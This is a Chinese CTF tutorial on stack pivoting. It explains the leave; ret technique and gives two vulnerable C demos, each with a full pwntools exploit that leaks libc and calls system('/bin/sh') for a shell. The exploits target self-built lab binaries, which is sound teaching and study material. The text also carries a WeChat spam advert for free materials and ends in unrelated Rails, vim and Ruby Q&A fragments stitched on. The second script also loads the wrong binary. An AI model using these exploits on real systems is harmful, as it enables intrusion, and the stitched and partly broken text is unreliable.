现在的CTF比赛中很难在大型比赛中看到栈溢出类型的赛题,而即使遇到了也是多种利用方式组合出现,尤其以栈迁移配合其他利用方式来达到组合拳的效果,本篇文章意旨通过原理+例题的形式带领读者一步步理解栈迁移的原理以及在ctf中的应用。
在笔者看来栈迁移的原理其实可以总结为一句话:因为栈溢出字节过少所以劫持rsp寄存器指向攻击者提前布置好payload的内存地址,已达到扩充溢出字节数的目的。 以一个简单的demo1为例,程序源码以及编译指令如下所示:
#include <stdio.h>
char buf1[0x100];
void main() {
char buf2[0x40];
puts("First: ");
read(0, buf1, 0x100);
puts("Second: ");
read(0, buf2, 0x60);
}
// gcc -fno-stack-protector -no-pie -z lazy -o demo1 demo1.c
程序的流程非常简单存在两个输出,第一次是往全局变量buf1第二次是往局部变量buf2中写入。可以看到在第二次写入时存在明显的栈溢出漏洞,但是溢出的字节数只够写入0x18大小的字节,如果要构造gadget泄露内存地址,最短的ROP链也需要0x20的字节才可以在泄露内存后返回输入点继续执行程序。

在这种情况就可以使用栈迁移的方式来扩大溢出字节数的大小,在前面说过栈迁移的本质就是劫持rsp寄存器指向攻击者提前布置好payload的内存地址,而劫持rsp寄存器的指令有很多,最常用的就是函数的退栈返回指令leave; ret。 可以分成两部分来理解这条指令。首先执行的是leave指令,这条指令共执行了两个操作mov rsp, rbp和pop rbp,其中rsp寄存器的指向变化如下图所示,可以看到在执行完leave指令后rsp寄存器指向了返回地址;随后会执行ret指令,这条指令可以理解成pop rip。因为此时rsp寄存器指向rbp+8即函数的返回地址,所以pop给rip寄存器的就是函数的返回地址,退栈完成。

在了解这条指令后不难发现,如果利用溢出漏洞可以覆盖rbp的值为一个已知地址,那么在执行过两次leave; ret指令后,就可以劫持rsp寄存器到任意地址,此时rsp寄存器指向的地址即为新的栈地址,只要事先在新地址处布置好想要执行的rop gadget,那么溢出字节过少这个问题就迎刃而解了。

根据上面介绍的栈迁移原理,可以总结出使用栈迁移的一些必要条件
存在可以劫持程序流和控制rbp寄存器的漏洞
攻击者可以确定准确某一块具有读写权限的地址
在进行栈迁移前需要在这块地址上进行rop gadget布局
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
在理解了栈迁移的原理后可以通过这个demo来练练手了,进行编译时未开启Canary和PIE保护,NX保护开启防止写入shellcode

这里先将大体的利用思路总结出来,其中的实现细节实现会在下文中进行说明。
未开启PIE保护,可以确定第一次写入的地址记作addr1,在此地址处布置rop gadget来实现泄露LIBC地址并返回主函数
利用第二次写入存在的栈溢出漏洞覆盖rbp为addr1,rip为指令leave; ret的地址实现栈迁移
返回主函数后利用ret2libc执行system("/bin/sh")获取shell
首先我们利用第一次输入进行rop chain布局,并利用第二次栈溢出漏洞覆盖rbp为伪栈地址劫持rip为leave; ret指令地址,内存变化如下图所示。 细心的同学会发现,我们在第一次进行rop chain布局前有一小段padding填充在前面,这是因为在我们进行栈迁移后,程序指令中所有对于栈的操作都会在伪栈内进行,而伪栈地址与got表地址相邻,填入这小段padding的目的就是为了避免程序在对伪栈进行读写数据时造成内存数据段内关键信息被覆盖,从而造成crash现象。

在汇编中当我们要对局部变量进行操作时,一般都是用rbp栈底寄存器来定位,如下图所示。这一点在栈迁移中可以让我们构造出一个类似于链表的利用结构,每次布置rop chain时不断将rbp寄存器赋值为伪栈地址,然后跳转到主函数的写入函数处,因为局部变量寻址是通过rbp寄存器,所以我们可以不断进行rop chain的布局。 在第一次进行rop chain的布局中控制rbp寄存器指向新的伪栈地址,那么在返回主函数后执行read函数时,写入地址就是新的伪栈地址,这时只要利用栈溢出漏洞去构造ret2libc即可getshell。

from pwn import *
p = process('./demo1')
libc = ELF('./demo1').libc
fake_stack = 0x601060
leave_ret = 0x40058E
puts_plt = 0x400430
puts_got = 0x601018
pop_rdi = 0x4005f3
read_text = 0x400572
payload1 = "a"*0x78+p64(fake_stack+0x408)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(read_text)
p.sendafter('First:', payload1)
payload2 = 'a'*0x40+p64(fake_stack+0x78)+p64(leave_ret)
p.sendafter('Second:', payload2)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc_base = puts_addr - libc.sym['puts']
system = libc_base+libc.sym['system']
sh = libc_base+libc.search('/bin/sh').next()
success(hex(libc_base))
payload3 = "a"*0x48+p64(pop_rdi)+p64(sh)+p64(system)
p.send(payload3)
p.interactive()
在CTF比赛中通常只有一次写入机会,这边给出demo2的源码以及编译命令。
# include <stdio.h>
# include <string.h>
void main() {
char buf[0x28];
puts("Hello Hacker.");
read(0, buf, 0x40);
}
// gcc -fno-stack-protector -no-pie -z lazy -o demo2 demo2.c
与demo1一样demo2未开启Canary 与PIE保护,不同的是demo2中只有一次输入机会,并且溢出字节数只能覆盖返回地址。 结合之前讲解的栈迁移技巧,首先在劫持rsp前需要进行rop chain布局,程序并没有一次可以往伪栈布局的机会,但是可以利用劫持程序流的方式来构造这一条件。 观察程序的汇编代码如下图所示,在对局部变量buf进行寻址时使用了rbp寄存器,那么我们可以利用这一点配合栈溢出漏洞来实现伪栈上的rop布局。利用思路如下所示,其中的实现细节实现会在下文中进行说明。
利用栈溢出漏洞劫持rbp寄存器为伪栈地址,返回地址为0x40054b(图中主程序的输入函数),即可在返回主程序后对伪栈进行rop chain的布局
对伪栈进行rop chain的布局,泄露LIBC地址并返回主函数
返回主函数后利用栈溢出漏洞配合栈迁移+ret2libc完成getshell

第一次leave; ret是主函数退栈时执行的,利用栈溢出漏洞覆盖rbp为伪栈地址,rsp为主函数地址。当我们再次来到主函数的输入函数时即可在伪栈上布置rop chain。此时的内存变化如下图所示

第二次leave; ret指令依然来自主函数退栈时执行,在伪栈上布置好rop chain后程序执行退栈操作,此时rbp寄存器内保存fack_stack-0x30的地址即rop chain地址+0x8的位置处,rsp寄存器被劫持到伪栈上,此时的内存变化如下图所示

这里为什么是fake_stack-0x30的地址呢?因为在对局部变量buf进行寻址时使用到rbp寄存器,而本题中的buf地址来自[rbp-0x30]的地址,所以如果想要将rsp劫持到rop chain的位置,就需要对rbp寄存器赋值为fakc_stack-0x30,那么在执行第三次leave的时候,rsp寄存器就劫持到rop chain的地址处,此时的内存变化如下图所示


泄露完LIBC地址后,劫持程序流返回主函数,利用read函数对伪栈进行最后一次rop布局,需要注意此时的写入地址是fake_stack-0x30,所以在栈迁移时rbp寄存器的值为fake_stack-0x30-0x30-0x8的地址处,再执行一次leave; ret时即可将rsp寄存器劫持到ret2libc rop地址处。内存变化如下图所示

from pwn import *
context.log_level = 'debug'
p = process('./demo1')
libc = ELF('./demo1').libc
read_text = 0x40054B
fake_rbp = 0x601500
pop_rdi = 0x4005d3 # pop rdi; ret;
puts_plt = 0x400430
puts_got = 0x601018
leave_ret = 0x400567
# gdb.attach(p, 'b *0x400567')
payload1 = 'a'*0x30+p64(fake_rbp)+p64(read_text)
p.sendafter("Hello Hacker.", payload1)
payload2 = p64(fake_rbp-0x30)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(read_text)+p64(0)+p64(fake_rbp-0x30)+p64(leave_ret)
p.send(payload2)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc_base = puts_addr - libc.sym['puts']
system = libc_base+libc.sym['system']
sh = libc_base+libc.search('/bin/sh').next()
success(hex(libc_base))
payload3 = p64(pop_rdi)+p64(sh)+p64(system)+p64(0)*3+p64(fake_rbp-0x68)+p64(leave_ret)
p.send(payload3)
p.interactive()
更多靶场实验练习、网安学习资料,请点击这里>>
如何正确创建Rails迁移,以便将表更改为MySQL中的MyISAM?目前是InnoDB。运行原始执行语句会更改表,但它不会更新db/schema.rb,因此当在测试环境中重新创建表时,它会返回到InnoDB并且我的全文搜索失败。我如何着手更改/添加迁移,以便将现有表修改为MyISAM并更新schema.rb,以便我的数据库和相应的测试数据库得到相应更新? 最佳答案 我没有找到执行此操作的好方法。您可以像有人建议的那样更改您的schema.rb,然后运行:rakedb:schema:load,但是,这将覆盖您的数据。我的做法是(假设
使用带有Rails插件的vim,您可以创建一个迁移文件,然后一次性打开该文件吗?textmate也可以这样吗? 最佳答案 你可以使用rails.vim然后做类似的事情::Rgeneratemigratonadd_foo_to_bar插件将打开迁移生成的文件,这正是您想要的。我不能代表textmate。 关于ruby-使用VimRails,您可以创建一个新的迁移文件并一次性打开它吗?,我们在StackOverflow上找到一个类似的问题: https://sta
我在我的rails应用程序中安装了来自github.com的acts_as_versioned插件,但有一段代码我不完全理解,我希望有人能帮我解决这个问题class_eval我知道block内的方法(或任何它是什么)被定义为类内的实例方法,但我在插件的任何地方都找不到定义为常量的CLASS_METHODS,而且我也不确定是什么here,并且有问题的代码从lib/acts_as_versioned.rb的第199行开始。如果有人愿意告诉我这里的内幕,我将不胜感激。谢谢-C 最佳答案 这是一个异端。http://en.wikipedia
我正在创建一个新的Rails3.1应用程序。我希望这个新应用程序重用现有数据库(由以前的Rails2应用程序创建)。我创建了新的应用程序定义模型,它重用了数据库中的一些现有数据。在开发和测试阶段,一切正常,因为它在干净的表数据库上运行,但是当尝试部署到生产环境时,我收到如下消息:PGError:ERROR:column"email"ofrelation"users"alreadyexists***[err::localhost]:ALTERTABLE"users"ADDCOLUMN"email"charactervarying(255)DEFAULT''NOTNULL但是我在迁移中有这
我想使用PostgreSQL中的point类型。我已经完成了:railsgmodelTestpoint:point最终的迁移是:classCreateTests当我运行时:rakedb:migrate结果是:==CreateTests:migrating====================================================--create_table(:tests)rakeaborted!Anerrorhasoccurred,thisandalllatermigrationscanceled:undefinedmethod`point'for#/hom
按照目前的情况,这个问题不适合我们的问答形式。我们希望答案得到事实、引用或专业知识的支持,但这个问题可能会引发辩论、争论、投票或扩展讨论。如果您觉得这个问题可以改进并可能重新打开,visitthehelpcenter指导。关闭9年前。我最近开始学习Ruby,这是我的第一门编程语言。我对语法感到满意,并且我已经完成了许多只教授相同基础知识的教程。我已经写了一些小程序(包括我自己的数组排序方法,在有人告诉我谷歌“冒泡排序”之前我认为它非常聪明),但我觉得我需要尝试更大更难的东西来理解更多关于Ruby.关于如何执行此操作的任何想法?
我在Ruby中遇到了一个关于Dir[]和File.join()的简单程序,blobs_dir='/path/to/dir'Dir[File.join(blobs_dir,"**","*")].eachdo|file|FileUtils.rm_rf(file)ifFile.symlink?(file)我有两个困惑:首先,File.join(@blobs_dir,"**","*")中的第二个和第三个参数是什么意思?其次,Dir[]在Ruby中有什么用?我只知道它等价于Dir.glob(),但是,我对Dir.glob()确实不是很清楚。 最佳答案
我是Rails的新手,我是从Django背景开始接触它的。我已经接受了这样一个事实,即模型和数据库模式在Rails和在线Django中是分开的。但是,我仍在努力处理迁移。我的问题很简单-如何使用迁移向模型添加关系?例如,我现在有Artist和Song作为ActiveRecord::Base子类的空模型,没有任何关系。我需要开始做这件事:classArtist但是我如何使用railsgmigrate更改架构以反射(reflect)这一点?我正在使用Rails3.1.3。 最佳答案 现在,在Rails4中,您可以:classAddPro
如何在rakedb:migrate:status中删除带有“**NOFILE**”的迁移ID列表?例如:StatusMigrationIDMigrationName--------------------------------------------------up20131017204224Createusersup20131218005823**********NOFILE**********up20131218011334**********NOFILE**********我不明白为什么当我自己手动删除它时它仍然保留旧的迁移文件,因为我正在研究迁移的工作原理。这是为了记录吗?但
1.回顾.TransportServicepublicclassTransportServiceextendsAbstractLifecycleComponentTransportService:方法:1publicfinalTextendsTransportResponse>voidsendRequest(finalTransport.Connectionconnection,finalStringaction,finalTransportRequestrequest,finalTransportRequestOptionsoptions,TransportResponseHandlerT>